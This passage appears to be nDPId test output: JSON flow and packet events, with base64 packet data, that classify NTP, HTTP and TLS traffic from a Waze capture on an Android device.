+00456{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587867,"pkt_ts_usec":103902,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"ABoRAAACABoRAAABCABFAABNMsJAAEAGQsUKECWdriXnUaUQFGaA18okWhY9doAYAVcoEAAAAQEICgAIa2tBJdw4gAAWBXL2KZLscQ7\/r4Q3YR6R6YsREWIs0w=="} +00465{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"waze.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1435587867443,"flow_last_seen":0,"flow_tot_l4_data_len":56,"flow_min_l4_data_len":56,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.89.75.198","src_port":46214,"dst_port":123,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587867,"pkt_ts_usec":443555,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"ABoRAAACABoRAAABCABFAABMAABAAEARHHkKCAAByFlLxrSGAHsAOIB9GwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANk705txaHKW"} +00495{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3,"source":"waze.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1435587867443,"flow_last_seen":0,"flow_tot_l4_data_len":56,"flow_min_l4_data_len":56,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.89.75.198","src_port":46214,"dst_port":123,"l4_proto":"udp","ndpi": {"proto":"NTP","breed":"Acceptable","category":"System"}} +00451{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587867,"pkt_ts_usec":753906,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"ABoRAAACABoRAAABCABFAABMdHBAABAR2AjIWUvGCggAAQB7tIYAOEf+HAIA7AAAAUgAAAbvyDaVGNk70ieZS5oL2TvTm3FocpbZO9ObncvLHNk705ud0JHn"} +00464{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5,"source":"waze.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1435587867755,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"65.39.128.135","src_port":54915,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587867,"pkt_ts_usec":755556,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8zNlAAEAGoisKCAABQSeAh9aDAFDjx6dUAAAAAKAC\/\/+uwgAAAgQFtAQCCAoACGuNAAAAAAEDAwg="} +00405{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587867,"pkt_ts_usec":759303,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodHFAABAGKqhBJ4CHCggAAQBQ1oMcOFir48enVVAS\/\/8NRwAA"} +00405{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587867,"pkt_ts_usec":759471,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAozNpAAEAGoj4KCAABQSeAh9aDAFDjx6dVHDhYrFAQ\/\/8NSAAA"} +00760{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587867,"pkt_ts_usec":781306,"pkt_caplen":317,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":317,"pkt_l4_len":283,"pkt":"ABoRAAACABoRAAABCABFAAEvzNtAAEAGoTYKCAABQSeAh9aDAFDjx6dVHDhYrFAY\/\/9cJAAAR0VUIC94dHJhMi5iaW4gSFRUUC8xLjENCkFjY2VwdDogKi8qLCBhcHBsaWNhdGlvbi92bmQud2FwLm1tcy1tZXNzYWdlLCBhcHBsaWNhdGlvbi92bmQud2FwLnNpYw0KeC13YXAtcHJvZmlsZTogaHR0cDovL3d3dy5vcGVubW9iaWxlYWxsaWFuY2Uub3JnL3RlY2gvcHJvZmlsZXMvVUFQUk9GL2NjcHBzY2hlbWEtMjAwMjEyMTIjDQpIb3N0OiB4dHJhMS5ncHNvbmV4dHJhLm5ldA0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogQW5kcm9pZA0KDQo="} +00640{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":8,"source":"waze.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":4,"flow_first_seen":1435587867755,"flow_last_seen":1435587867781,"flow_tot_l4_data_len":363,"flow_min_l4_data_len":20,"flow_max_l4_data_len":283,"flow_avg_l4_data_len":90,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"65.39.128.135","src_port":54915,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"xtra1.gpsonextra.net","url":"xtra1.gpsonextra.net\/xtra2.bin","code":0,"content_type":"","user_agent":"Android"}} +00405{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587867,"pkt_ts_usec":781675,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodHJAABAGKqdBJ4CHCggAAQBQ1oMcOFis48eoXFAQ\/\/8MQQAA"} +00457{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587868,"pkt_ts_usec":123896,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"ABoRAAACABoRAAABCABFAABNMsNAAEAGQsQKECWdriXnUaUQFGaA18okWhY9doAYAVcnqgAAAQEICgAIa9FBJdw4gAAWBXL2KZLscQ7\/r4Q3YR6R6YsREWIs0w=="} +00466{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":11,"source":"waze.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1435587868632,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"54.230.227.172","src_port":45529,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587868,"pkt_ts_usec":632030,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA814xAAEAGPpQKCAABNubjrLHZAFCatruPAAAAAKAC\/\/+u6AAAAgQFtAQCCAoACGwDAAAAAAEDAwg="} +00407{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587868,"pkt_ts_usec":633828,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodHNAABAG0cE25uOsCggAAQBQsdllSURwmra7kFAS\/\/\/ZDAAA"} +00466{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":13,"source":"waze.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1435587868634,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"46.51.173.182","src_port":36100,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587868,"pkt_ts_usec":634159,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8jYZAAEAGx0MKCAABLjOtto0EAbvOcuGFAAAAAKAC\/\/+3SQAAAgQFtAQCCAoACGwDAAAAAAEDAwg="} +00406{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587868,"pkt_ts_usec":635389,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodHRAABAGEGouM622CggAAQG7jQQxjR56znLhhlAS\/\/87IAAA"} +00466{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":15,"source":"waze.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1435587868635,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"46.51.173.182","src_port":36102,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587868,"pkt_ts_usec":635666,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8H6lAAEAGNSEKCAABLjOtto0GAbtbbHOtAAAAAKAC\/\/+YJQAAAgQFtAQCCAoACGwEAAAAAAEDAwg="} +00406{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587868,"pkt_ts_usec":644726,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodHVAABAGEGkuM622CggAAQG7jQakk4xSW2xzrlAS\/\/87HgAA"} +00407{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587868,"pkt_ts_usec":644889,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo141AAEAGPqcKCAABNubjrLHZAFCatruQZUlEcVAQ\/\/\/ZDQAA"} +00406{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587868,"pkt_ts_usec":645018,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAojYdAAEAGx1YKCAABLjOtto0EAbvOcuGGMY0ee1AQ\/\/87IQAA"} +00406{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587868,"pkt_ts_usec":645125,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoH6pAAEAGNTQKCAABLjOtto0GAbtbbHOupJOMU1AQ\/\/87HwAA"} +00521{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587868,"pkt_ts_usec":906825,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":103,"pkt":"ABoRAAACABoRAAABCABFAAB7145AAEAGPlMKCAABNubjrLHZAFCatruQZUlEcVAY\/\/9jcwAAR0VUIC9pbWFnZXMvSEQvQ0gyLnBuZyBIVFRQLzEuMA0KSG9zdDogcm9hZHNoaWVsZHMud2F6ZS5jb20NClVzZXItQWdlbnQ6IC8zLjkuNC4wDQo="} +00659{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":20,"source":"waze.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":4,"flow_first_seen":1435587868632,"flow_last_seen":1435587868906,"flow_tot_l4_data_len":183,"flow_min_l4_data_len":20,"flow_max_l4_data_len":103,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"54.230.227.172","src_port":45529,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Waze","breed":"Acceptable","category":"Web"},"http": {"hostname":"roadshields.waze.com","url":"roadshields.waze.com\/images\/HD\/CH2.png","code":0,"content_type":"","user_agent":"\/3.9.4.0"}} +00407{"flow_id":4,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587868,"pkt_ts_usec":908213,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodHZAABAG0b425uOsCggAAQBQsdllSURxmra741AQ\/\/\/YugAA"} +00411{"flow_id":4,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587868,"pkt_ts_usec":910657,"pkt_caplen":56,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":56,"pkt_l4_len":22,"pkt":"ABoRAAACABoRAAABCABFAAAq149AAEAGPqMKCAABNubjrLHZAFCatrvjZUlEcVAY\/\/\/LpgAADQo="} +00407{"flow_id":4,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587868,"pkt_ts_usec":912005,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodHdAABAG0b025uOsCggAAQBQsdllSURxmra75VAQ\/\/\/YuAAA"} +00467{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":24,"source":"waze.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1435587868996,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"173.194.118.48","src_port":36585,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587868,"pkt_ts_usec":996463,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8cVdAAEAGm2kKCAABrcJ2MI7pAburox1\/AAAAAKAC\/\/9UDAAAAgQFtAQCCAoACGwoAAAAAAEDAwg="} +00407{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587868,"pkt_ts_usec":998782,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodHhAABAGyFytwnYwCggAAQG7julUXOKAq6MdgFAS\/\/\/xMQAA"} +00405{"flow_id":7,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":2019,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAocVhAAEAGm3wKCAABrcJ2MI7pAburox2AVFzigVAQ\/\/\/xMgAA"} +00654{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":2239,"pkt_caplen":236,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":236,"pkt_l4_len":202,"pkt":"ABoRAAACABoRAAABCABFAADejYhAAEAGxp8KCAABLjOtto0EAbvOcuGGMY0ee1AY\/\/+QzQAAFgMBALEBAACtAwFksj7uK\/R43HfLeC3YagY+KKYMl8Gp\/0RLJxa1HLl7kwAAQMAUwArAIsAhADkAOMAgwA\/ABQA1wBLACMAcwBsAFgATwBrADcADAAoABcATwAnAH8AeADMAMsAdwA7ABAAvAP8BAABEAAsABAMAAQIACgA0ADIADgANABkACwAMABgACQAKABYAFwAIAAYABwAUABUABAAFABIAEwABAAIAAwAPABAAEQAjAAA="} +00729{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":27,"source":"waze.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":4,"flow_first_seen":1435587868634,"flow_last_seen":1435587869002,"flow_tot_l4_data_len":282,"flow_min_l4_data_len":20,"flow_max_l4_data_len":202,"flow_avg_l4_data_len":70,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"46.51.173.182","src_port":36100,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00404{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":2486,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodHlAABAGEGUuM622CggAAQG7jQQxjR57znLiPFAQ\/\/86awAA"} +02241{"flow_id":4,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":3560,"pkt_caplen":1422,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1422,"pkt_l4_len":1388,"pkt":"ABoRAAACABoRAAABCABFAAWAdHpAABAGzGI25uOsCggAAQBQsdllSURxmra75VAQ\/\/\/H7wAASFRUUC8xLjEgMjAwIE9LDQpDb250ZW50LVR5cGU6IGltYWdlL3BuZw0KQ29udGVudC1MZW5ndGg6IDI1MzINCkNvbm5lY3Rpb246IGNsb3NlDQpEYXRlOiBUaHUsIDEyIE1hciAyMDE1IDA5OjUyOjU4IEdNVA0KQ2FjaGUtQ29udHJvbDogbWF4LWFnZT0zMDANCkxhc3QtTW9kaWZpZWQ6IFRodSwgMTIgTWFyIDIwMTUgMDk6MjM6MTggR01UDQpFVGFnOiAiYzM2NzQ1ZmI3NzAxYjVkNGQ1ZDA5Y2VlZGZiYzhjNTgiDQpBY2NlcHQtUmFuZ2VzOiBieXRlcw0KU2VydmVyOiBBbWF6b25TMw0KQWdlOiAxMTQNClgtQ2FjaGU6IEhpdCBmcm9tIGNsb3VkZnJvbnQNClZpYTogMS4xIDNhYmVlYTllZjQ2MWM2OGYzYTE1NGEyZmY2ZjQwMjc1LmNsb3VkZnJvbnQubmV0IChDbG91ZEZyb250KQ0KWC1BbXotQ2YtSWQ6IDJQV18wWXNBVDZTNFgzMjZMUmFqR28wNDBVaDJoVktaSElsUE1vWHlFNTVReGk1ZlZiUVFSZz09DQoNCv\/Y\/+EAGEV4aWYAAElJKgAIAAAAAAAAAAAAAAD\/7AARRHVja3kAAQAEAAAAPAAA\/+EDMWh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8APD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNS42LWMwMTQgNzkuMTU2Nzk3LCAyMDE0LzA4LzIwLTA5OjUzOjAyICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOnhtcE1NPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvbW0vIiB4bWxuczpzdFJlZj0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL3NUeXBlL1Jlc291cmNlUmVmIyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ0MgMjAxNCAoTWFjaW50b3NoKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDpDNTgxNENCMjY2MjIxMUU0QjRFM0MzNDdCODY1Q0JBMSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDozQUQwNUIwNDY2NDkxMUU0QjRFM0MzNDdCODY1Q0JBMSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkM1ODE0Q0IwNjYyMjExRTRCNEUzQzM0N0I4NjVDQkExIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOkM1ODE0Q0IxNjYyMjExRTRCNEUzQzM0N0I4NjVDQkExIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+\/+4ADkFkb2JlAGTAAAAAAf\/bAIQABgQEBAUEBgUFBgkGBQYJCwgGBggL"} +00406{"flow_id":4,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":53971,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo15BAAEAGPqQKCAABNubjrLHZAFCatrvlZUlJyVAQ\/\/\/TYAAA"} +02602{"flow_id":4,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":54418,"pkt_caplen":1678,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1678,"pkt_l4_len":1644,"pkt":"ABoRAAACABoRAAABCABFAAaAdHtAABAGy2E25uOsCggAAQBQsdllSUnJmra75VAQ\/\/9vCQAADAoKCwoKDBAMDAwMDAwQDA4PEA8ODBMTFBQTExwbGxscHx8fHx8fHx8fHwEHBwcNDA0YEBAYGhURFRofHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8f\/8AAEQgAMgAyAwERAAIRAQMRAf\/EAJoAAAEFAQEBAAAAAAAAAAAAAAcAAQQGCAUCAwEAAwEBAQEAAAAAAAAAAAAAAAQFAwIBBhAAAQMDAgMEBgcJAAAAAAAAAQIDBAAFBhESITEHQVGBE2FxMlJiM5GhIkI0FTWxosIjQ1MUNhcRAAIBAgMFBQcFAAAAAAAAAAECABEDITEEQVFhcZESIjJCcvCBwdFSgjOhseHCE\/\/aAAwDAQACEQMRAD8A0vkGQWuw2t+5XJ9MeLHTuW4r6gB2qJ4ADnXSIWNBiZy7hRU5Qdxsz6gv3BuahFuabmp82BiUx9Ma5Ki66Jkb1cN6z9xXAeunjp7YFKmozYCq13fzExfcmtBQ5Lk3OdSdmefLjLSzjH5UpPBy4XaZHaiM96lFtSlrA+Gsl06VxevpBJ+E0N96YLTmRT95BsGZ5umMVtNQ80h9lysshlpwHXQpdjOEaadhSeVd3NOlcynBvmJxbvvTLt8V+Rj3jKuokl1hllu3Ys68oCGxdpTT0qW6fZYQ00SlG\/kVE6jsot2LYzJf0jAcamD3rhyAX1HPpLPhWbRsgYeYfZVAvUFXlXO1vH+aw5\/EhXNCxzFL3rJQ71OR3zezeDjcRmN0tFYzaCfqgHrXmeOZDeEidibD6Y70NQ0TFkuna1MI5OaH3uX0U\/pCCjKMHO3eN0R1QIZWOKDZuO+Z16jRL7Ezm8x79JVMujUlXmSl8CtBAU0pI+6nyynaByq7pmU2wVwEi6kMLhDHGcByRIdSEOvOOoHJK1qUB4KJrYATAsTGbddaXvaWppZ4FSFFB+lJFBxgCRGW44pfmKUpbvYskleo5faPGiFTWaOt0PIpmYYnaUyCMpskBuRlN9I1Wph\/7TUFxPAOnaQNyvX31CuMotsfKx7o\/tLiKxdR5lHePwhx2n3ezvNSpTlA68Lj\/wDOLmy4Ap2QG2YyO1TzjqQ2B6d1NaKv+qxfV0\/zMz311cR\/0WSzuC3osSFHlKHHV5EdO79oq3oPx+8yLrvyU9soP9aciUWtEJIt7zTNxiPPcWWn2luj4ErBV9QrlsQZ2mBFZrLBS011Rzht4gyZD0OUwvXXdGcjgNlJ7gdRXzmo\/Gm6h61n0VjxvzEJtJxqBvqBkbDuWT5VwQXbJgkRu6Ki